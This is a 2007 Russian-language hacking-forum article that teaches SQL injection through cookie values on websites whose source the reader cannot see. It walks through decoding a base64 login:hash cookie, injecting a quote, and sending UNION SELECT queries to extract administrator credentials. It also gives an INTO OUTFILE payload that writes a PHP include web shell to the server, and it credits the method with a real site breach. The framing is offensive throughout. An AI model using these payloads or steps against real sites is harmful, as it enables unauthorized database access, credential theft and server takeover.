Статья: иньекция через cookie

Тема в разделе "Статьи", создана пользователем Constantine, 9 окт 2007.

  1. Constantine
    Constantine Guest
    Intro

    Сейчас на многих сайтах, чатах, форумах мы встречаемся с системой аутентификации через cookie Наверняка всем известен способ использования xss уязвимости для кражи содержимого cookie с их последующей подменой, но сегодня разговор не о том.

    К сожалению при работе с конкретным сайтом, мы не имеем возможности просмотреть пхп исходники, того же файла авторизации, так что тут 2 варианта: либо если вы работаете с паблик движком, просто скачать его себе на локаку и посмотреть исходники, надеясь, что они не были изменены администратором сайта, либо, если движок самописный, работать с завязанными глазами, как чаще всего и получается.

    Распространена ситуация когда переменная из кук не фильтруеться\не проверяеться и ничтоже сумняшися отправляется в sql запрос к базе. т.е мы модифицируя ее значение можем послать произвольный запрос к базе

    Пример, предположим мы имеем слудющие значения в куках:

    PHP:
    lang
    rus
    212.1.65.134
    /kakoi to dvig/
    *
    vasja pisin
    dmFzamEgcGlzaW46NWFndDRjM2I1YWJiNjVkNjVkODYyN2Q3YjhzYWNmOQ k6
    212.1.65.134
    /kakoi to dvig/

    *
    Привлекает внимание строка закодированная в бэйс 64. Отправляемся на http://ha.ckers.org/xss.html
    и декодируем это дело: видим что это логин и хеш пароля ( это может быть сессия или что угодно, хеш пароля реже)
    Код:
    vasja pisin:5agt4c3b5abb65d65d8627d7b8sacf9
    имеем наш логин: наш пароль

    Иньекция

    Попробуем изменить исходные данные
    Код:
    vasja pisin':5agt4c3b5abb65d65d8627d7b8sacf9
    и шифруем обратно в бэйс 64 и подменяем кук, открываем страницу в браузере и если видим что то вроде:
    failed selection from database или какую либо стандартную ошибку, значит sql запрос был изменен успешно и базе это непоравилось.

    как можно действовать дальше?

    Так же как и в обычной sql иньекции:

    Предположим что
    Код:
    admin' union select 1,2,3,4,5:5agt4c3b5abb65d65d8627d7b8sacf9 
    кодированный в бэйс -
    PHP:
    YWRtaW4nIHVuaW9uIHNlbGVjdCAxLDIsMyw0LDU6NWFndDRjM2I1YWJiNjVkNjVkODYyN2Q3Yjhz
    YWNmOQ
    ==
    выполнится успешно и в при просотре страницы мы не увидим ошибки или увидем принтабельный столбец
    Если притабельный столбец есть, то можно аналогично пытаться выполнить запрос к базе модифицируя его и получить интересные данные, такие как логин и проль администратора и.тд

    Если притабельных стобцов нет, то необходимо подобрать какую либо таблицу и попробывать выполнить запись файла.

    Код:
    admin' union select 1,'<?%20include($_GET["inc"]);%20?>',3,4,5 from+mysql.user INTO OUTFILE '/usr/local/apache/site/shell.php' :5agt4c3b5abb65d65d8627d7b8sacf9 
    Если после кодировки и подмены данных у вас хватит прав, то на сервере будет создан файл shell.php, после чего элементарно заливаеться шелл

    Отнюдь не стоит пренебрегать этим видом уязвимости, очень часто разработчик забывает именно о куках. К слову именно через скуль в куках был произведен взлом хакзоны

    Энд
     
    9 окт 2007
    2 пользователям это понравилось.
Загрузка...